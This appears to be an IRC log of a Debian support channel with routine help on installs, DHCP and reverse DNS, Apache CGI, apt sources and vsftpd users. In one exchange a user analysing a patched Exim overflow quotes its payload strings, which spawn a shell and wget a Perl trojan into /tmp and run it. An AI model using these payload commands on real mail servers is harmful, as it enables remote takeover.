| 20:03.47 | pipeline | pinkisntwell: beats me. Most web browsers etc can make it scroll more than one line when button 5/6 is depressed. |
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| 20:04.44 | ska | Whats the minimum disk size that I can install debian on? Using net-boot? |
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| 20:05.14 | tabakhase | ska 2,5gb should be ok (temp and so on...) |
| 20:05.26 | tabakhase | better take 5 |
| 20:05.53 | ska | I'm trying to make it small as possible. |
| 20:05.53 | pipeline | the minimum is around 500M |
| 20:06.00 | pipeline | I would recommend 8 or 16G |
| 20:06.05 | pipeline | just use a thin-provisioned VMDK |
| 20:06.11 | pipeline | that way, space that is never written to, is never used |
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| 20:08.05 | tabakhase | / is 10gb here, /home 60gb (both ssd) and /var/log 1500gb (hdd) |
| 20:09.39 | thomaschaaf | so is there a way to reown the files owned by user a to be ownes by user b? |
| 20:09.59 | pipeline | thomaschaaf: use gnu find |
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| 20:10.56 | pipeline | thomaschaaf: e.g. find -user a -exech chown b {} \; |
| 20:11.03 | ska | Is there an install method that creates a much smaller size as in a debbootstrap install? |
| 20:11.29 | pipeline | ska: Sure. Just use the netinstall disc and don't choose to install anything extra. That should leave you with less a gig used. |
| 20:11.42 | pipeline | ska: a lot less than a gig, IIRC... 400-500M ? can't remember. It's very small. |
| 20:12.07 | pipeline | ska: with a thin-provisioned VMDK, if you have 500M used on an 8G filesystem, that VMDK file is only going to consume 500M on the host. |
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| 20:22.06 | ska | 338MB with sshd installed. |
| 20:22.45 | pipeline | well there you have it |
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| 20:33.22 | itchi | ska: i installed localpurge on my eeepc |
| 20:34.02 | itchi | localepurge* |
| 20:35.17 | itchi | ska: There where some other tools too that remove some non-essential stuff. I should recommend you to check some setups for these small eeepc for example |
| 20:38.16 | sec_goat | aww man drawing a blank, I added a script to /etc/init.d then I had to update-rc or something, whats the command again? |
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| 20:40.24 | sec_goat | update-rc.d thanks |
| 20:40.36 | nirazio | What are the "select-by-word" in gnome-terminal's preferences? |
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| 20:43.36 | qwd | Debian Squeeze AMD64 with gnome-core. Gnome started to act weird today. Sometimes it just "locks" and I can't switch windows by clicking on them or alt-tabbing, I can't click any buttons but I can type into the field and tab my way through buttons and press space to select them. I can "fix" things by pressing alt > which is my own hotkey for minimizing all windows and showing the desktop, but then after a while it happens again. I tried rebooting but problem is |
| 20:44.01 | sec_goat | is there a way to test the /etc/init.d scripts without rebooting? |
| 20:44.42 | qwd | Right clicking doesn't really seem to fix it, it kind of does, but not every time and sometimes the menu appears but then it "locks" again right away. |
| 20:45.02 | petemc | sec_goat: most scripts take arguments like start/stop/status |
| 20:45.14 | petemc | so run /etc/init.d/foo start |
| 20:45.36 | sec_goat | petemc: hmm i will try. . of course I wrote these script and I have n o idea what I am doing! |
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| 20:46.01 | petemc | best way to learn |
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| 20:47.12 | Mikaze | Hello. Anyone know how to reset pulse audio so it makes noise? I'm blind and only have access to the puter now with a friggin hardware synthesizer. |
| 20:47.45 | nirazio | What you mean by Hit and Ign in update?? |
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| 20:49.30 | sec_goat | aha it works! |
| 20:49.32 | sec_goat | thanks |
| 20:49.47 | Mikaze | effing pulse audio. Why the F do they put crap in Debian. They're supposed to only put crap in Ubuntu! |
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| 20:52.09 | Mikaze | cat's the kernel thru /dev/dsp to see if the sound card crapped out or somehting. |
| 20:52.42 | ecolitan | hi, is 4.69-9+lenny1 the patched version ? |
| 20:52.47 | ecolitan | for exim4 |
| 20:55.15 | nirazio | What you mean by Hit and Ign in update?? |
| 20:57.32 | petemc | ecolitan: yes |
| 20:57.40 | ecolitan | thanks |
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| 21:03.10 | qwd | Problem apparently solved. I thought it was due to purging google-talkplugin (which doesn't work on amd64 anyway) but then I noticed I hadn't typed in yes and started purging it yet so, solution remains a mystery. |
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| 21:09.18 | bmoloney | Hello. I have a Debian server on my campus network. It is configured to use DHCP but it keeps losing its hostname. I tried adding 'send host-name "myhostname.mydomain.edu"' to /etc/dhcp3/dhclient.conf but it doesn't help. |
| 21:12.47 | petemc | bmoloney: whats in /etc/hosts ? |
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| 21:16.05 | Arrowmaster | bmoloney: try just the "myhostname", dont set it to the fqdn |
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| 21:18.05 | SuperAlekZ | could anyone help me with a "331 please specify password" @ VSFTPD :/ |
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| 21:18.58 | bmoloney | petemc: http://pastebin.com/3zV1cpfs |
| 21:19.20 | Bushmills | how does "losing hostname" manifest? |
| 21:19.54 | bmoloney | Arrowmaster: thats what I tried initially but I can try again. The command 'dhclient -r eth0; dhclient eth0' should be sufficient to test right? |
| 21:20.29 | Arrowmaster | not sure |
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| 21:21.38 | HackeMate | hello, I want to allow /var/www/index.cgi to be executed, in /etc/apache2/sites-available/default I added the line Options +ExecCGI under <Directory /var/www/> and restarted the apache2 service, but still doesn't |
| 21:21.39 | HackeMate | what i miss |
| 21:21.40 | bmoloney | Bushmills: Well its been happening when I reboot, but today I thought I had it fixed but it just occured again without a reboot (presumably while renewing its lease). The hostname changes to udp01951786uds.mydomain.edu |
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| 21:22.27 | kdefreak | Hello. I am installing Debian on a VPS (VMWare Esxi x86_64) and I have no network, even though I know the network configuration is perfectly accurate. I get errors from the apt-archives and the time-server. What should I do? What can I have missed? |
| 21:23.38 | wissem | Hello .Im having some sound issues.I was at 2.6.26 kernel and its working perfectly now i am at 2.6.32 testing and i cant have sound running |
| 21:24.16 | wissem | i ve installed alsa frimeware ,drivers as well still cant get it to work !! |
| 21:24.55 | Bushmills | bmoloney: check your dhclient.conf, whether it requests host name from dhcp server. |
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| 21:25.58 | petemc | HackeMate: uncomment AddHandler cgi-script .cgi in /etc/apache2/mods-enabled/mime.conf |
| 21:26.23 | bmoloney | Bushmills: after I added the line 'send host-name "myhostname"' I removed 'host-name' from the request line |
| 21:27.21 | wissem | any help plz |
| 21:27.24 | Bushmills | but the dhcp request still changes what command "hostname" output, or file /etc/hostname contains? |
| 21:27.51 | HackeMate | petan: hey, worked. Thanks a lot |
| 21:27.54 | petemc | np |
| 21:29.02 | bmoloney | Bushmills: the command hostname and /etc/hostname always have the correct hostname, just the reverse lookup shows DNS is wrong |
| 21:29.31 | Bushmills | that's not related to your dhcp setup |
| 21:30.15 | Bushmills | what hostname would you have expected? and what did you set up for rdns to show another hostname? |
| 21:31.09 | petemc | most common scenario is you dont have control over rdns at all |
| 21:31.30 | Bushmills | and what does "just the reverse lookup shows DNS is wrong" mean - doesn't that name resolve to your ip address? |
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| 21:32.20 | bmoloney | Bushmills: I have no control over the dhcp or dns servers. I am doing nslookup on the machines IP and getting udp01951786uds.mydomain.edu instead of myhostname.mydomain.edu |
| 21:32.47 | Bushmills | why would you expect your rdns host name to be myhostname.mydomain.edu? |
| 21:32.57 | jhutchins_lt | bmoloney: Yep. That's what you're going to get unlessw you request that the DNS admin set up a dedicated IP for your host. |
| 21:33.09 | jhutchins_lt | bmoloney: ... and that they set up RDNS too. |
| 21:33.34 | jhutchins_lt | There are mechanisms that will updated the DNS with the host name supplied by the DNS client, but they are not often in place. |
| 21:34.08 | jhutchins_lt | Most DNS severs are maintained manually. |
| 21:34.22 | irieKEN | Anyone know how to disable the annoying beeping on my laptop on startup and shutdown? Already disabled the pcspkr and snd_pcsp, as well as muted the alert volume... |
| 21:34.23 | irieKEN | ? |
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| 21:34.32 | bmoloney | jhutchins_lt: I did request the network admin to assign a specific IP and hostname through DHCP. It works fine on all my CentOS boxes, just not this Debian box |
| 21:34.48 | ska | Is there a command in rescue mode that I can use to "re-scan" disk partitions ? |
| 21:35.29 | Bushmills | bmoloney: in case of that ip being a static ip address, you could ask the admin to change the rdns host name to the same which resolves to your ip address |
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| 21:35.55 | Bushmills | if it's a dynamic ip address, don't bother |
| 21:36.08 | bmoloney | Bushmills: I have done this and usually it works until I reboot the machine |
| 21:36.26 | bmoloney | The IP stays the same but the hostname changes |
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| 21:37.10 | Bushmills | bmoloney: try that: install dig, and do dig -x @nameserver your.ip.address. |
| 21:37.43 | Bushmills | try that when the rdns name appears to be right, and also after boot. look whether that output changes. |
| 21:38.07 | Bushmills | determine nameserver by doing dig your.host.your.domain ns |
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| 21:40.24 | jhutchins_lt | bmoloney: Sounds like they didn't set this one up right - shouldn't be anything to do with debian. |
| 21:41.04 | Arrowmaster | you arent using network-manager are you? |
| 21:41.49 | bmoloney | Arrowmaster, no X11 running on the server and I didn't enable it so I think not |
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| 21:42.47 | SuperAlekZ | anyone who could help me with VSFTPD? |
| 21:42.52 | bmoloney | Bushmills: I tried the dig commands, seems like no answer is being returned... I must profess I don't know dig well |
| 21:43.17 | Bushmills | sow the command which you tried |
| 21:43.21 | Bushmills | show ... |
| 21:44.15 | bmoloney | ok my dns server is ns2.mydomain.edu, so the command I tried is 'dig -x @ns2.ohsu.edu my.ip.addr' |
| 21:44.30 | bmoloney | hmm theres my domain... oh well |
| 21:44.51 | Bushmills | you -x an ip address |
| 21:44.56 | Bushmills | not a host name |
| 21:45.46 | ska | If I use dd to copy partitions, it will overwrite the partition information as well? target disk is larger than original. |
| 21:46.38 | bmoloney | Bushmills: ok same result with IP. I get a QUERY and AUTHORITY section back, but no ANSWER section |
| 21:46.45 | Bushmills | and the command i gave you was wrong. exchange the -x with @nameserver |
| 21:46.47 | OpenTokix | ska: use LVM |
| 21:46.59 | Bushmills | i.e. dig @nameserver -x ip.add.res.ss |
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| 22:00.43 | Boohemian | does anyone here also use ubuntu for servers? i have talked to A LOT of people and it seems a lot of people are using ubuntu for a tomcat6 server... i have debian lenny running nginx and php-fastcgi, tomcat6 and mysql but need to break off tomcat6 from this machine, so i am considering ubuntu as well as lenny |
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| 22:00.43 | Boohemian | any suggestions? |
| 22:00.44 | petemc | Boohemian: most people in here use debian |
| 22:00.44 | dkr | Boohemian: talk to brighter people |
| 22:00.44 | jhutchins_lt2 | Boohemian: I wouldn't trust ubuntu for a server myself. |
| 22:00.44 | Boohemian | thanks (can't find your nick, that was a HUGE netsplit, heh) -- for some reason it says i have X.Org X Server installed on my webserver. no clue why... when i setup a default server install, does lenny install Xorg? sounds inane... |
| 22:00.45 | Boohemian | jhutchins_lt2: wikipedia uses it, no? |
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| 22:01.35 | zoredache | what is the correct way to put repositories in sources.list.d so that I can have the order matter? I had two files in sources.list.d 0repos1.list and default.list. apt seemed to prefer to use things from default.list repositories, which isn't what I want. |
| 22:01.41 | jhutchins_lt2 | Boohemian: I don't know, but it would surprize me if they did. |
| 22:01.54 | dkr | zoredache: order doesn't matter, use pinning to specify repo preferences |
| 22:02.24 | zoredache | order matters when I have two things listed in the sources.list |
| 22:02.32 | petemc | jhutchins_lt2: think they do |
| 22:02.36 | dkr | ok, ignore the first part of my answer. :) |
| 22:02.37 | phogg | zoredache: so don't put them in sources.list |
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| 22:04.53 | Arrowmaster | zoredache: i always start all filenames in sources.list.d with two numbers, that way i can change the numbers to change the order |
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| 22:04.54 | zoredache | just to be clear, I have a apt-proxy setup (pointing at the offical mirror), and the official ftp.us. repository setup. I want my system to prefer the local proxy since it is much faster. But I also want to store the config in the sources.list.d so I can script the updating of the configuration files... |
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| 22:05.37 | jhutchins_lt2 | I would expect wikimedia to run RH, SuSE, or Debian. |
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| 22:06.12 | zoredache | Arrowmaster: I have been prefecing my files in there with numbers, that doesn't seem to make a difference. |
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| 22:08.06 | esaym | anyone here using Xen on sqeeze? |
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| 22:08.27 | esaym | I can't get a squeeze dom0 to boot and squeeze domU |
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| 22:08.36 | esaym | a squeeze domU* |
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| 22:15.56 | HackeMate | how to defragment an iso file? |
| 22:16.03 | HackeMate | i dont find the package which contains the contig command |
| 22:16.32 | petemc | iso is read only |
| 22:16.43 | zoredache | extract the iso, and create a new one? |
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| 22:18.52 | Boohemian | so, is there a reason i would have Xorg installed on my webserver (that has no GUI)? can i delete that, without breaking one of the services i actually use (nginx, php-fastcgi, tomcat6, solr, postfix/dovecot, mysql)? |
| 22:19.41 | zoredache | do you actually have a server running, or do you just have some libraries installed because you where using ssh X11 forwarding for something? |
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| 22:19.51 | petemc | Boohemian: aptitude why xorg |
| 22:20.21 | petemc | Boohemian: you can remove it if you're not using it |
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| 22:22.30 | Boohemian | petemc: weird, it's because i have xfce4 installed |
| 22:22.38 | Boohemian | i don't know why any of this desktop/gui shit is on here, heh |
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| 22:26.56 | remur_030 | <PROTECTED> |
| 22:28.03 | Bushmills | xorg is not a dependency of xfce4. it is a recommendation |
| 22:28.15 | petemc | remur_030: http://www.exim.org/lurker/thread/20101208.085816.09f2ce4d.en.html#20101208.085816.09f2ce4d has plenty of info |
| 22:28.23 | Bushmills | i guess that also explains why those packages are installed |
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| 22:38.54 | jhutchins_lt | Defrag an iso.... sheesh. |
| 22:39.26 | dvs | give my burner a workout. |
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| 22:41.22 | remur_030 | petemc: it doesn't explain the pipemagic, only that the buffer overflows and then executes the lines which turn out to be ${run{/bin/sh -c 'exec /bin/sh -i <&3 >&0 2>&0'}} etc, the rest is garbage |
| 22:41.46 | remur_030 | so how does this pipemagic do anything useful? |
| 22:42.07 | petemc | i havent looked at it myself, was just happy enough that it was fixed |
| 22:42.09 | remur_030 | I've seen a much simpler exploit downloading a perlscript which is basicly a simple irc zombie |
| 22:45.35 | petemc | remur_030: http://www.exploit-db.com/exploits/15725/ looks easy enough to follow |
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| 22:52.21 | remur_030 | petemc: still pretty hard to follow but I'll try =) |
| 22:53.04 | petemc | looks to me to be based on exims handling of the value of headerX |
| 22:55.15 | remur_030 | petemc: yes, that is the part I understood, it just overwrites some log and then exim just starts executing that stuff, which obviously fails on the randomdata slide and later hits real code |
| 22:55.56 | remur_030 | here he makes it execute '${run{/bin/sh -c \"exec /bin/sh -c 'wget $trojan -O /tmp/c.pl;perl /tmp/c.pl $myip $myport; sleep 10000000'\"}}' |
| 22:56.11 | remur_030 | but the pipestuff was making me wonder |
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| 23:20.51 | SuperAlekZ | hey |
| 23:21.09 | SuperAlekZ | could somebody help me with VSFTPD? |
| 23:21.59 | pipeline | SuperAlekZ: typically that kind of one on one support is expensive as hell. This is an IRC channel. It's free. Spray *specific* questions into the void, see if somebody gives enough of a shit to answer. Good luck! |
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| 23:22.27 | SuperAlekZ | :D |
| 23:23.08 | SuperAlekZ | alright, i've set up a user for vsftpd, but he can't connect, it's always 331 "please specify a password" and 530 |
| 23:23.16 | SuperAlekZ | but my main user can login |
| 23:24.25 | pipeline | make sure a.) the new user has a valid home directory b.) the new user owns his home directory and c.) the new user is permitted to use vsftpd -- check /etc/vsftpd.users file |
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| 23:25.16 | SuperAlekZ | how can i check for a.) ? |
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| 23:38.51 | jhutchins_lt | SuperAlekZ: Did you set the user's password? |
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| 23:39.30 | jhutchins_lt | SuperAlekZ: The correct answer is "use the right tool to add the user". |
| 23:40.58 | SuperAlekZ | jhutchins_lt: and which is it? |
| 23:43.10 | Boohemian | what command do i run to see how much resources mysql is taking up? |
| 23:44.16 | peterrooney | Boohemian: top can be configured to be inanely explicit about memory, cpu useage |
| 23:45.30 | Boohemian | peterrooney: how? |
| 23:45.42 | SuperAlekZ | jhutchins_lt: |
| 23:45.47 | jhutchins_lt | SuperAlekZ: Either adduser or useradd - I can never remember which. |
| 23:46.07 | jhutchins_lt | SuperAlekZ: You also need to set the password - by default the account's locked. |
| 23:46.10 | SuperAlekZ | jhutchins_lt: the one where you gotta specify full name or the one where you don't have to? :D |
| 23:46.19 | SuperAlekZ | where and how? |
| 23:46.56 | peterrooney | Boohemian: while in top, |
| 23:47.16 | Boohemian | peterrooney: yeah, hwat options? |
| 23:47.20 | jhutchins_lt | SuperAlekZ: I think the one that asks a bunch of questions like full name may ask for a password, it's the best one to use unless you're doing a batch. Check the options, either one will create the homedir if used correctly. |
| 23:47.34 | jhutchins_lt | SuperAlekZ: For existing users passwd <username>. |
| 23:47.39 | peterrooney | lowercase 'f' to get to the `show which fields' screen |
| 23:48.03 | jhutchins_lt | Boohemian: Hit the question mark for instructions. |
| 23:48.56 | SuperAlekZ | thanks a lot jhutchins_lt it works now :) |
| 23:49.05 | jhutchins_lt | w00t! |
| 23:49.21 | SuperAlekZ | :DD |
| 23:49.33 | SuperAlekZ | now i gotta continue with studying fuckin biology :( |
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| 23:56.38 | h3sp4wn | Is there anywhere the rest of the missing stuff from Debian xen is ? |
| 23:56.51 | h3sp4wn | There is tons of stuff missing |
| 23:57.11 | h3sp4wn | (blktap/blktap2/pvgrub at least |
| 23:59.20 | SuperAlekZ | only thing i still need is a working webinterface (start, stop, restart - that's all) for a hlds gameserver |
